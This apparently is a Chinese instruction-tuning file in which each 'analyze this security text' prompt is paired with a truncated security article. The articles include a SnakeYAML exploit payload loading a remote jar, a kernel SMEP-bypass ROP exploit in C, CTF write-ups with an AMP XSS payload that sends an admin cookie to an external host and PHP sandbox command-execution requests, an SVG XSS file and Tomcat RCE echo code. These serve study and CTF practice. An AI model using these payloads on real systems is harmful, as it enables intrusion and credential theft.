Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

《 Windows Kernel Pwn 101 》
[Windows内核]
    -进程（process）
        进程（process）是计算机系统中的一种基本概念，它是一个正在运行的程序的实例。在操作系统中，进程是分配给程序资源的基本单位，每个进程都有自己的内存空间、代码、数据、堆栈和其他系统资源。在计算机系统中，每个进程都有一个唯一的标识符，称为进程ID（process ID，PID）。进程可以有一个或多个线程，线程是进程中执行代码的执行单元。在一个进程中，所有线程共享进程的内存空间和系统资源；
        进程为多任务操作系统提供了实现并发执行的机制。通过将计算机系统资源分配给多个进程，操作系统能够使多个程序同时运行，从而提高计算机系统的利用率；
        进程的创建、调度和终止都由操作系统内核进行管理。进程之间可以通过进程间通信机制来进行数据交换和协作。进程可以在操作系统的保护下运行，防止进程之间相互干扰和破坏。
    -线程（thread）
        线程（thread）是计算机系统中的一种执行单元，它是进程中的一个独立控制流，用于执行程序的指令序列。线程是操作系统调度的基本单位，每个线程都有自己的栈空间和寄存器，用于存储执行上下文和临时变量；
        在一个进程中，可以创建一个或多个线程，这些线程共享进程的内存空间和系统资源。不同于进程，线程不拥有系统资源，而是与其他线程共享相同的资源，如内存、文件、网络连接等；
        线程能够提高程序的并发性和响应性。在单核处理器系统中，通过使用多线程技术，可以让程序的不同部分在不同的时间段内交替运行，从而让程序看起来是同时运行的。在多核处理器系统中，多个线程可以在不同的核上同时执行，充分利用系统资源，提高程序的性能；
        线程的创建、调度和管理都由操作系统内核进行管理。操作系统提供了一系列线程同步机制，如互斥锁、信号量、条件变量等，用于协调不同线程之间的执行，避免竞争和冲突。
    -内存管理
        内存管理是操作系统中的一个重要模块，它负责管理计算机系统中的内存资源。计算机系统中的内存资源是有限的，操作系统需要在不同的进程和线程之间分配和回收内存空间，以满足不同程序的内存需求;
        内存管理涉及到的主要问题包括内存分配、内存回收、内存保护和内存共享等。内存分配是指在进程运行时为其分配所需的内存空间，内存回收是指在进程终止时将其占用的内存空间释放回系统，内存保护是指防止进程之间相互干扰和破坏，内存共享是指多个进程共享同一块内存区域;
        操作系统通过虚拟内存技术来实现对内存资源的管理。虚拟内存是一种将计算机的硬盘空间用作内存扩展的技术，它可以让进程访问一个比实际内存空间更大的地址空间，从而满足进程对内存空间的需求。虚拟内存管理需要实现页面置换、页面映射和页面保护等机制，来保证程序能够正确地访问所需的内存空间。
    -I/O管理
        I/O（Input/Output）管理指的是计算机系统如何管理输入和输出设备的数据传输，是操作系统的一个重要功能。I/O管理通过管理设备驱动程序、I/O请求和缓存等机制，协调系统中各种输入输出设备的使用，使其能够高效地进行数据传输;
        在计算机系统中，每个I/O设备都由一个设备驱动程序来管理。设备驱动程序是一个软件模块，它向操作系统提供I/O设备的抽象接口，使操作系统能够与设备进行通信;
        当应用程序需要与设备进行数据交换时，它会向操作系统发送一个I/O请求。操作系统会将请求传递给设备驱动程序，设备驱动程序则负责将请求转换为特定设备的操作，并将结果返回给应用程序。为了提高I/O传输的效率，操作系统会使用缓存机制，将数据缓存到内存中，并在需要时将数据从内存中读取或写入到设备中;
        I/O管理还包括处理中断和DMA（Direct Memory Access）操作。当设备完成一个操作或需要向系统发出信号时，它会向系统发送一个中断信号。操作系统会相应地处理中断请求，并通知相应的驱动程序进行处理。DMA操作则是一种数据传输方式，它允许设备直接访问系统内存，从而提高数据传输效率。
    -驱动程序
        驱动程序则是一种特殊的软件，用于控制计算机硬件设备。驱动程序通过操作硬件设备的寄存器、内存映射、中断等方式，实现对硬件设备的读取、写入、控制等操作，从而让操作系统能够与硬件设备进行交互。
[数据结构]
    -进程和线程数据结构
        每个进程都有一个EPROCESS结构，它包含进程的基本信息和进程所拥有的线程的列表。ETHREAD结构表示线程的信息，包括线程的状态、优先级和堆栈指针等...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 侧信道攻击研究——PADDING ORACLE
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一. 引言
大家好，我是来自银基安全实验室的Cure，本次为大家带来的是Padding Oracle攻击的相关介绍与实践。
随着Web服务的日益流行，Web数据的安全传输愈发引起业界重视。HTTPS协议的常见实现经历了从SSL到TLS的变化，目前，使用最广泛的TLS协议为TLS
1.2，为各个浏览器普遍支持，而最新TLS 1.3协议，更是在TLS 1.2的基础上简化了交互流程，提高了性能。
然而，目前的许多Web网站，出于种种原因，仍然采用着古老的HTTP协议。HTTP协议对传输的数据不作保护。为了避免诸如密码等敏感信息在网络上直接传输而导致被中间人截获，网站的开发者常常自己实现一套加密机制，典型地有DES、AES等。
相对于经历了长足发展的TLS协议而言，自实现的安全协议往往存在着一定程度的疏漏，为使用者带来安全隐患。攻击DES、AES的方法有很多，Padding
Oracle是其中一个，如果该攻击使用得当，可以在不获取key的情况下，达到解密密文和加密明文的能力，在特定场景下能够窃取用户隐私，甚至用于网站提权。
本文仅从Padding Oracle这一侧面入手，探索其基本原理并结合实例进行讲解。文章后续包括以下章节：第二章介绍Padding
Oracle的攻击方法；第三章以泛化Web网站为例，阐述通过该攻击获取admin权限的具体流程；第四章尝试性的给相应的漏洞修补方案，使前述攻击失效；第五章使用Timing侧信道作为辅助，再次使能Padding
Oracle；第六章讨论Padding Oracle的一些杜绝方式，并提倡使用在安全敏感的网络服务中使能TLS。
希望本文提供的技术探索与实例，能够起到抛转引玉的作用，同时，也为初学者提供些许思路与参考。
## 二. Padding Oracle原理
Oracle
Padding是一种通过对DES、AES等block加解密算法的Padding进行调控，根据解密过程是否正常，结合调控内容进行攻击，在无需知道key的前提下达成解密密文或加密明文的效果。下面对其原理进行阐述。
### 2.1 Padding
DES、AES等block cipher加解密算法要求输入内容的长度为block
size的整数倍。在加密过程中，若原始数据长度不符合该要求，则在其后添加padding部分以进行补足，在解密过程中，则在解密结果的末尾对padding部分进行移除。
常见的padding方案有PKCS5和PKCS7等，以PKCS5为例，其block size固定为8，padding方案如下：
① 若加密对象的长度是8字节的倍数，则在其后填充8个字节，每个字节内容均为0x08。
② 若加密对象的长度不是8字节的倍数，则在其后补充n个字节（1<=n<=7）使之成为8字节的倍数，每个字节的内容均为n。
### 2.2 AES CBC加密流程
AES CBC的加密流程如下图所示。
其中，plaintext是添加padding后的明文，Initialization Vector称初始化向量IV，由加密算法的调用者提供。
加密流程如下：
① 整个plaintext按照block size拆分为多个组。
② 第一组与IV进行异或运算，运算结果结合加密密钥key经过复杂运算得到第一组ciphertext。
③ 第一组ciphertext作为新的IV，与第二组plaintext进行异或运算，其结果结合加密密钥key经过复杂运算得到第二组ciphertext。
④ 第二组ciphertext作为新的IV，与第三组plaintext进行异或运算，其结果结合加密密钥key经过复杂运算得到第三组ciphertext。
⑤ .依此类推…，直至得到组后一组ciphertext。
⑥ 各组ciphertext组合结果即完整ciphertext，也是加密结果，其长度为block大小的倍数。
### 2.3 AES CBC解密流程
AES的解密过程是加密过程的逆运算，该逆运算与加密过程构成分组对应，具体流程如下图所示。
其中，解密算法按照如下流程进行：
① ciphertext被按照block size进行分组。
②
倒数第一组ciphertext结合key按照复杂算法进行解密，其结果与相应IV（倒数第二组ciphertext，与加密过程呼应）进行异或，得到倒数第一组plaintext。检测该组plaintext的padding是否合法。若非法，则解密失败，返回相应失败。
③
倒数第二组ciphertext结合key按照复杂算法进行解密，其结果与相应IV（倒数第三组ciphertext，与加密...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 1月23日安全热点 - Linux创始人怒斥CPU补丁为彻底的垃圾
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Linus Torvalds认为Linux Spectre补丁是“彻底的垃圾”
<https://www.bleepingcomputer.com/news/linux/linus-torvalds-thinks-the-linux-spectre-patches-are-utter-garbage/>
中国安全研究员找出安卓利用链受到谷歌奖励112500美元
<http://securityaffairs.co/wordpress/68045/hacking/android-exploit-chain-award.html>
黑客因针对Skype和Google的DDoS攻击而入狱
<http://www.zdnet.com/article/hacker-jailed-for-ddos-attacks-against-pokemon-skype-and-google/>
英国500强律师事务所证书在暗网上泄露
<http://www.zdnet.com/article/uk-top-500-legal-firms-credentials-leaked-on-the-dark-web/>
在野勒索软件desuCryptd存在DEUSCRYPT and Decryptable变体
<https://www.bleepingcomputer.com/news/security/desucrypt-ransomware-in-the-wild-with-deuscrypt-and-decryptable-insane-variants/>
## 技术类
EvilTraffic行动分析报告
<http://csecybsec.com/download/zlab/20180121_CSE_Massive_Malvertising_Report.pdf>
你不知道的区块链
<https://mp.weixin.qq.com/s/eiVszU0mZ49WIMfrOEvgeA>
SSRF To RCE in MySQL
<https://mp.weixin.qq.com/s/9vk-H36erencugdYca9qXA>
macOS与时间戳检测
<http://cyberforensicator.com/2018/01/21/detection-of-backdating-the-system-clock-in-macos>
线程本地缓存
<https://0x00sec.org/t/heap-safari-thread-local-caching/5054/1>
Qualcomm EDL Programmers
[https://alephsecurity.com/2018/01/22/qualcomm-edl-1](https://alephsecurity.com/2018/01/22/qualcomm-edl-1/?utm_source=securitydailynews.com)
华硕Unauthenticated LAN远程命令执行
[https://blogs.securiteam.com/index.php/archives/3589](https://blogs.securiteam.com/index.php/archives/3589?utm_source=securitydailynews.com)
初学者指南Burpsuite有效负载（第1部分）
[ http://www.hackingarticles.in/beginners-guide-burpsuite-payloads-part-1](http://www.hackingarticles.in/beginners-guide-burpsuite-payloads-part-1)
Google Forms（WordPress插件）SSRF漏洞
<https://klikki.fi/adv/wpgform.html>
逆向工程之TEC-06串行协议
<https://syonyk.blogspot.co.uk/2018/01/reverse-engineering-tec-06-serial.html>
macro_pack —— 一个用于自动生成混淆过的 MS Office 文档工具
[https://github.com/sevagas/macro_pack](https://github.com/sevagas/macro_pack?utm_source=securitydailynews....


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## springboot snakeyaml利用浅析
> 本文简要分析了snakeyaml漏洞在一般场景下注入内存马的难点，并对存在内嵌tomcat依赖的spring应用提出一种漏洞利用思路
### 1\. 前言
前几天接到个任务，目标系统采用springboot框架，测试发现存在 /env 等配置信息泄露，且存在 snake-yaml 漏洞，通过 dump
内存及修改 spring.cloud.bootstrap.location
字段可以确定目标不出网且以jar包形式运行，且该系统为内网端口映射方式运行，不可直接与目标主机通信。幸好目标系统可以上传任意文件，且spring服务端口号与映射端口号一致，这样我们可以先上传jar包到可访问目录下：
拼接后的路径为：<http://ip:9090/server/static/img/2022/04/10/90920220410084330581.jar，将ip替换为>
127.0.0.1，写入yaml文件：
    !!javax.script.ScriptEngineManager [
      !!java.net.URLClassLoader [[
        !!java.net.URL ["http://127.0.0.1:9090/server/static/img/2022/04/10/90920220410084330581.jar"]
      ]]
    ]
替换 spring.cloud.bootstrap.location 字段后刷新配置：
返回报错，但查看异常发现已经创建了 ScriptEngineManager 实例，即可以任意执行代码，通过将执行结果输出到可访问文件中，可获取回显：
然而仅仅是能执行命令肯定是不够的，首先想到的就是写入内存马，既然能够任意代码执行，那么写内存马肯定不难，我天真的这么以为，然而折磨才刚刚开始。。。
### 2.前置知识 - Spring 常见内存马
此处仅针对非Java
agent类型内存马，一般的注入思路都是找到一个保存当前应用上下文的全局变量，进而取出我们需要注入的组件进行修改。对于Spring，可注入的组件有
控制器Controller 和
拦截器Interceptor，前者通过注册一个路由绑定我们需要执行的恶意方法，后者在拦截器数组中插入我们的恶意拦截器，以达到在请求真实数据前执行我们的恶意方法。对于实际情况，由于系统可能会对某些路由进行安全性准入，故拦截器利用的效果更好。以下是一些常见的注入测试代码。
#### 2.1 控制器
    package code.landgrey.controller;
    import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RestController;
    import org.springframework.web.context.WebApplicationContext;
    import org.springframework.web.context.request.RequestContextHolder;
    import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
    import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
    import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
    import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.BufferedReader;
    import java.io.IOException;
    impor...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 【知识】5月26日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 介绍后门的一篇文章、关于反调试&反反调试那些事、攻击网络打印机paper
、内网穿透——Android木马进入高级攻击阶段（二）、Samba远程代码执行漏洞利用、关于UAC安全性的一篇文章 part1、一种Bypassing
Windows Attachment Manager的有趣姿势、自动化shellcode移植**
**
**
**资讯类：**
* * *
安卓移动操作系统的两个功能能够被用于发动点击劫持攻击，从而导致攻击者控制目标手机
<https://threatpost.com/android-overlay-and-accessibility-features-leave-millions-at-risk/125888/>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
介绍后门的一篇文章
<https://www.exploit-db.com/docs/42061.pdf>
ICS / SCADA渗透测试系统
<http://blog.gdssecurity.com/labs/2017/5/25/icsscada-systems-for-penetration-testers-a-typical-engagemen.html>
俄罗斯联盟的网络钓鱼和虚假信息活动
<https://citizenlab.org/2017/05/tainted-leaks-disinformation-phish/>
分析我的被入侵的Linux服务器
<https://medium.com/@tasdikrahman/learnings-from-analyzing-my-compromised-server-linode-cd3be62dc286>
关于反调试&反反调试那些事
<http://www.alonemonkey.com/2017/05/25/antiantidebug/>
网络打印机攻击利器
<https://github.com/RUB-NDS/PRET#>
攻击网络打印机paper
<https://www.ieee-security.org/TC/SP2017/papers/64.pdf>
内网穿透——Android木马进入高级攻击阶段（二）
<http://bobao.360.cn/learning/detail/3902.html>
Samba远程代码执行漏洞利用
<https://xianzhi.aliyun.com/forum/read/1632.html>
CVE-2017-7494：Samba 3.5.0 – Remote Code Execution[python]
<https://www.exploit-db.com/exploits/42060/>
信息收集之SVN源代码社工获取及渗透实战
<https://xianzhi.aliyun.com/forum/read/1629.html>
2017年第一季度 安卓系统安全性生态环境研究
<http://bobao.360.cn/news/detail/4179.html>
2017年第一季度 中国手机安全状况报告
<http://bobao.360.cn/news/detail/4178.html>
关于UAC安全性的一篇文章 part1
<https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-1.html>
利用环境变量的计划任务绕过UAC
<https://tyranidslair.blogspot.co.uk/2017/05/exploiting-environment-variables-in.html>
luckystrike：一个基于powershell的恶意文档生成工具
<https://github.com/Shellntel/luckys...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

在Part 1部分我们关闭了所有的保护方式，包括`SMEP`、`KPTI`、`SMAP`，
本章节会逐个的开启这些保护方式，并探讨如果绕过这些机制。
#### Bypass SMEP
在Part1中，用于覆盖返回地址的函数`escalate_privs`存在userspace中，当开启SMEP时，在kernel-mode下，userspace地址被标记为`non-executable`。这一点很像userland下的`NX`保护，同样的，在userland下我们使用`ROP`，在kernelland下，有`Kernel
ROP`.
值得注意的是，`get_shell`是在由kernel-mode去换到user-mode之后完成的，因此不会受到SMEP的影响，不需要ROPchain。
##### Try To Overwrite CR4
在Part 1中提到，SMEP由CR4寄存器的20th bit控制，而在kernel-mode下，我们可以修改CR4寄存器的值，例如`mov cr4,
rax`；有一个通用的函数`native_write_cr4(value)`可以修改CR4的值为指定的value，该函数同样在kernel地址空间中
    / # cat /proc/kallsyms | grep native_write_cr4
    ffffffff814443e0 T native_write_cr4
通过`ROP`构造上述函数执行，实现修改CR4寄存器。
通过`ROPgadget --binary vmlunix > gadgets.txt`获取所有的gadget，从中找到`pop rdi, ret`。
通过调试kernel或者触发崩溃可以得到正常情况下的CR4值，20th bit对应的值是`0x100000`。
    [   10.349798] CR2: ffff88800686a200 CR3: 000000000655c000 CR4: 00000000001006f0
    >>> hex(1<<20)
    '0x100000'
当20th bit清零后，CR4值为`0x6f0`；下面的代码即可以修改CR4
    void exploit()
    {
        unsigned long pop_rdi_ret = 0xffffffff81006370;
        unsigned long native_write_cr4 = 0xffffffff814443e0;
        unsigned long payload[0x100/8];
        unsigned long offset = 0x80/8;
        payload[offset++] = cookie;
        payload[offset++] = 0x0;
        payload[offset++] = 0x0;
        payload[offset++] = 0x0;
        payload[offset++] = (unsigned long)pop_rdi_ret;
        payload[offset++] = 0x6f0;
        payload[offset++] = (unsigned long)native_write_cr4;
        payload[offset++] = (unsigned long)escalate_privs;
        puts("[*] Prepared payload");
        size_t size = write(global_fd, payload, sizeof(payload));
        puts("[!] Should never be reached");
    }
但是实际上，失败了，kernel崩溃了，panic输出
    [*] Prepared payload
    [   19.393575] unable to execute userspace code (SMEP?) (uid: 1000)
    ...
    [   19.404200] CR2: 0000000000401102 CR3: 0000000006508000 CR4: 00000000001006f0
发现CR4的值没有改动，SMEP仍然处于`enable`状态。
##### Escalation ROPchain
既然无法改写CR4禁用SMEP，就只好通过ROP的方式完成`escalate_priv`。
  * ROP 构造 `prepare...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

> Team：De1ta
## 0x00 Web
### **AMP**
由cookie提示flag在admin的cookie 应该是xss
post后会log
应该和amp标准有关 : <https://zh.wikipedia.org/zh-hans/Accelerated_Mobile_Pages>
AMP规范 : <https://www.ampproject.org/zh_cn/docs/fundamentals/spec>
猜测使用AMP特性绕过csp打到cookie
AMP获取cookies的方法：<https://github.com/ampproject/amphtml/blob/master/spec/amp-var-substitutions.md#client-id>
网页源码里有句注释：
payload:
    <amp-pixel src="https://487a72b5.2m1.pw/?cid=CLIENT_ID(FLAG)"></amp-pixel>
    <amp-user-notification
        layout=nodisplay
        id="FLAG"
        data-show-if-href="https://487a72b5.2m1.pw"
        data-dismiss-href="https://487a72b5.2m1.pw">
        This site uses cookies to personalize content.
        < a href="">Learn more.</ a>
       <button on="tap:user-consent.dismiss">I accept</button>
    </amp-user-notification>
    <!-- Client ID is not provided until `user-consent` is dismissed -->
    <amp-pixel src="https://487a72b5.2m1.pw/?cid=CLIENT_ID(FLAG,FLAG)"></amp-pixel>
url编码后在浏览器触发
flag: **RCTF{El_PsY_CONGRO0_sg0}**
### **r-cursive**
访问后在../sandbox/生成一个sha1文件夹，然后复制模板进去，提供了重定向到该文件夹和重置文件夹的功能
重定向后是个php沙箱，只能执行格式为`xxxx();`的函数
可以递归执行函数，不允许带参数
?cmd=print(readdir(opendir(getcwd()))); 可以列目录
?cmd=print(readfile(readdir(opendir(getcwd())))); 读文件
?cmd=print(dirname(dirname(getcwd()))); print出/var/www
翻阅文档找到`getallheaders()`函数，会返回所有的http请求头，因为header可控，所以可执行任意命令了
?cmd=print(implode(getallheaders()));
命令执行：
    GET /?cmd=eval(implode(getallheaders())); HTTP/1.1
    cmd: phpinfo(); //
    Host: 39093088bf9a9d33d5dd5b973cc1232e2145ee49.sandbox.r-cursive.ml
接下来沙盒逃逸，从phpinfo看，这里是开了mod_vhost_alias
这里是利用auto_prepend来载入sandbox下的init.php来设置沙盒的open_basedir
所以这里通过修改host来逃逸沙盒的open_basedir。
  1. 正常的open_basedir:
    GET /?cmd=eval(implode(getallheaders())); HTTP/1.1
    cmd: echo ini_get('open_basedir');//
    Host: 39093088bf9a9d33d5dd5b973cc1232e2145ee49.sandbox.r-cursive.ml
    Content-Length: 4
  1. 把host头的39093088bf9a9d33d5dd5b973cc1232e2145ee49.sandbox去掉：
        GET /?cmd=eval(impl...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

**作者：[i9n0re](https://i9n0re.github.io/2018/12/22/wordpress-contact-form-7-v5-0-3-%E6%8F%92%E4%BB%B6-%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87%E3%80%81%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
"i9n0re") **
### 简介
看到了国外有大佬发了关于WordPress的一个非常有名的插件，contact form
7的漏洞，之前见到过很多WordPress站点使用这个插件，大佬写的比较笼统，一些详细的利用方式没有说的太明白.
### 漏洞成因
这个漏洞是由于插件开发者对WordPress的使用不当造成的，其实跟WordPress的逻辑有一定的关系，导致了可以发布普通文章的用户，可以绕过权限认证，进行发表原本插件作者只允许管理员创建和修改的自定义类型的"post"。
漏洞作者发现了contact from
7插件存在这样的缺陷，导致了任意一个可以发表普通文章的用户，可以新建一个contact，而且在5.0.3版本下，附件可以跨目录进行添加文件，进而可以读取网站的
`wp-config.php`。
#### 相关的技术点
##### nonce
首先我们了解下什么是nonce？nonce相当于`csrf token`是WordPress用来防御csrf问题的，并进行了相关的权限验证。
##### post_type
`post_type`是插件作者注册的自定义`post`类型，与WordPress的文章类似，插件作者要实现一个页面来进行管理文章类型。只有在后台的新建或者编辑页面当中可以获取到`nonce`随机数，提交的时候只有代入了nonce才能进行相应的操作。
### 漏洞详情
以contact form 7 v5.0.3为例。
##### 插件作者只允许WordPress的`editor`才能新建和编辑contact。
如果是文章的发布者，就没有修改和创建权限，会显示下面的页面。
contact form 7也是一种自定义类型的 `post` ，数据里面都是存在了`wp_posts`表当中，通过 `post_type`进行区分。
正常情况，插件作者是通过 `current_user_can('publish_pages')`
进行权限的判定，也就是说editor以上的权限可以编辑，防止普通用户打开新建和修改文章的页面。
但是用户仍可以操作普通的文档，通过请求接口 `wp-admin/post.php` 的方式进行新建和编辑文章，只不过 `post_type`
变为了`post`等普通文档类型。由于插件作者在 `register_post_type`
的时候没有进行相关权限的配置，仅仅依靠了`current_user_can('publish_pages')`验证用户编辑权限，出现了安全问题。
##### 接下来我们来看看普通文档的新建、编辑流程。
正常流程上，普通文档上传接口是请求 post-new.php后先生成一个 `post`，然后再进行编辑，请求post.php，设置参数 `action` 为
`editpost`。
    // wp-admin/post.php
    case 'editpost':
        check_admin_referer('update-post_' . $post_id);
        $post_id = edit_post();
        // Session cookie flag that the post was saved
        if ( isset( $_COOKIE['wp-saving-post'] ) && $_COOKIE['wp-saving-post'] === $post_id . '-check' ) {
            setcookie( 'wp-saving-post', $post_id . '-saved', time() + DAY_IN_SECONDS, ADMIN_COOKIE_PATH, COOKIE_DOMAIN, is_ssl() );
        }
        redirect_post($post_id); // Send user on their way while we keep working
        exit();
通过函数 `check_admin_referer` 检测nonc...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

参加了p4Team举办的Teaser CONFidence CTF，其中有一道很有意思的题，预期解法是svg xss，非预期解法是前段时间刚学的缓存投毒。
### 题目
地址：<http://web50.zajebistyc.tf/>
(环境还没关)题目主页给了一个登陆注册的页面，可以注册任意用户名的账号第二个功能是给了一个表单，提交后台admin会去访问。
根据题目描述我们应该是要通过xss获取admin页面Secret表单的值。如果我们直接访问admin页面，只会显示简单的个人信息。
思路：1、上传html文件，让admin访问进行xss。2、个人信息页面构造xss，让admin访问。
通过抓包测试上传功能，我发现可以上传任意后缀的文件，但是要求文件头必须是图片格式，且图片尺寸为100x100。通过上传html文件并访问，我发现服务器把他当作图片来解析了，我猜测是根据文件头来进行解析的。因此我们需要找到能够进行xss的图片格式（也就是svg，下面会说）。payload：`30
autofocus
onfocus=alert(1)`然后就被卡在了这里。赛后通过询问主办方，他告诉我预期解法是svg
xss，非预期是缓存投毒攻击：<https://ctftime.org/writeup/13925>
### SVG XSS
可以参考：[SVG XSS的一个黑魔法](https://www.hackersb.cn/hacker/85.html)SVG 是使用 XML
来描述二维图形和绘图程序的语言。SVG可缩放矢量图形（Scalable Vector
Graphics），顾名思义就是任意改变其大小也不会变形，是基于可扩展标记语言（XML），他严格遵从XML语法，并用文本格式的描述性语言来描述图像内容，因此是一种和图像分辨率无关的矢量图形格式。通过在线图片转SVG，我们可以看到基本的SVG图片格式构造一个SVG文件
    <?xml version="1.0" encoding="UTF-8" standalone="no"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">  <image id="image0" width="751" height="751" x="0" y="0"
        href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
    <script>alert(1)</script>
    </svg>
本地测试
### 缓存投毒
这个是非预期的解法：<https://ctftime.org/writeup/13925>关于缓存投毒安全客之前也有翻译的文章：[实战Web缓存投毒（上）](https://www.anquanke.com/post/id/156356)，p牛在知识星球也讲过了，我就不班门弄斧了。
p牛：原理就是正常的缓存是架设在用户和服务器中间，能够让用户更快地获取想要的结果，而缓存投毒的意思就是：攻击者使缓存服务器存储了有害的页面，此时正常用户如果命中了这个缓存，将会被有害页面攻击。
通过响应头我们可以看到，题目使用cloudflare来做CDN缓存。通过百度我们知道CLOUDFLARE
CDN 默认只对 静态资源进行缓存加速, 比如 JS, CSS, 图片, 音频, 文档等. 如果是动态的页面, 比如PHP HTML这些请求的话
CLOUDFLARE是默认不缓存的。但是开头我们就发现可以注册任意用户名，我们可以注册`Smi1e.js`这样的用户名来触发CDN缓存。
看到题目的非预期wp，我发现一个问题，响应头中有两个Vary头，`Vary: Accept-Encoding Vary:
Cookie`，我们知道vary头是用来决定使用哪个请求头来作为查找缓存的依据的，但是题目的解法就是让admin...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Tomcat通用回显学习笔记
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
RCE回显技术在20年突然火爆全网，这里学习跟进一下。看了很多大佬分析技术文章和实现方法可谓是百花齐放，但情有独钟的一种方法是来着
**zema1/ysoserial**
里面中的回显技术。Tomcat全版本都能实现回显，和其他大佬的方式不一样点是直接中`Thread`入手。但目前没看到对此方法的分析，这里斗胆写下自己的一些看法，如有错误还请斧正。
所以的源码、环境都已经上传至<https://github.com/SummerSec/JavaLearnVulnerability>
* * *
## 回显代码赏析
先贴出代码，大致上分析一下代码。代码来着https://github.com/feihong-cs/Java-Rce-Echo，代码本质上是和zema1/ysoserial的一样，只是换个方法。不难看出代码用了大量的反射，异常处理面对不同版本Tomcat可能出现的情况，与if语句不同，异常处理更加直接点，直接尝试两种方法面对不同情况。
        boolean flag = false;
        ThreadGroup group = Thread.currentThread().getThreadGroup();
        java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
        f.setAccessible(true);
        Thread[] threads = (Thread[]) f.get(group);
        for(int i = 0; i < threads.length; i++) {
            try{
                Thread t = threads[i];
                if (t == null) continue;
                String str = t.getName();
                if (str.contains("exec") || !str.contains("http")) continue;
                f = t.getClass().getDeclaredField("target");
                f.setAccessible(true);
                Object obj = f.get(t);
                if (!(obj instanceof Runnable)) continue;
                f = obj.getClass().getDeclaredField("this$0");
                f.setAccessible(true);
                obj = f.get(obj);
                try{
                    f = obj.getClass().getDeclaredField("handler");
                }catch (NoSuchFieldException e){
                    f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
                }
                f.setAccessible(true);
                obj = f.get(obj);
                try{
                    f = obj.getClass().getSuperclass().getDeclaredField("global");
                }catch(NoSuchFieldException e){
                    f = obj.getClass().getDeclaredField("global");
                }
                f.setAccessible(true);
                obj = f.get(obj);
  ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Linux恶意软件分析：自定义加密算法的不足
|
##### 译文声明
本文是翻译文章，文章原作者 jacob16682，文章来源：/medium.com
原文地址：<https://medium.com/@jacob16682/linux-malware-analysis-why-homebrew-encryption-is-bad-48e349b252f9>
译文仅供参考，具体内容表达以及含义原文为准。
#
## 一、前言
Linux是我最喜欢的操作系统之一，人们很少能看到针对该系统的恶意软件，因此我很好奇，当我的蜜罐捕捉到Linux恶意软件时是怎样的一种场景。本文介绍了我对Linux恶意软件样本的一次分析过程，重点分析了该软件所用的解密函数。通过这个案例，我们就能知道为何使用自己的加密算法并不是特别安全。
## 二、样本分析
与常见的分析过程一样，首先我把该样本提交到VirusTotal，观察检测结果，如下所示：
从结果中可知，59家厂商中只有34家成功识别出这一款恶意软件，考虑到这是一个Linux程序，这个结果也比较正常。该程序没有经过封装，VirusTotal的分析结果中也没有给出特别有趣的信息。接下来，我通过`rabin2`工具获取了该样本的一些基本信息，如下所示：
    arch     x86
    binsz    646674
    bintype  elf
    bits     32
    canary   false
    class    ELF32
    crypto   false
    endian   little
    havecode true
    lang     c
    linenum  true
    lsyms    true
    machine  Intel 80386
    maxopsz  16
    minopsz  1
    nx       true
    os       linux
    pcalign  0
    pic      false
    relocs   true
    rpath    NONE
    static   true
    stripped false
    subsys   linux
    va       true
同样没有得到比较有趣的信息。这款Linux程序使用C语言编写而成。然而，如果我们在`rabin2`中使用`-E`标志，我们可以分析其中的导出信息，事情开始变得有趣起来：
    [Exports]
    956 0x00020070 0x08068070 GLOBAL   FUNC 1365 __vsyslog_chk
    957 0x00073c00 0x080bbc00 GLOBAL OBJECT   36 _nl_C_LC_CTYPE
    959 0x00021790 0x08069790 GLOBAL   FUNC    8 __stack_chk_fail_local
    965 0x0008b9e8 0x080d49e8 GLOBAL OBJECT    4 __morecore
    966 0x0001fc80 0x08067c80 GLOBAL   FUNC   41 __getdtablesize
    967 0x00014f80 0x0805cf80 GLOBAL   FUNC   40 _IO_remove_marker
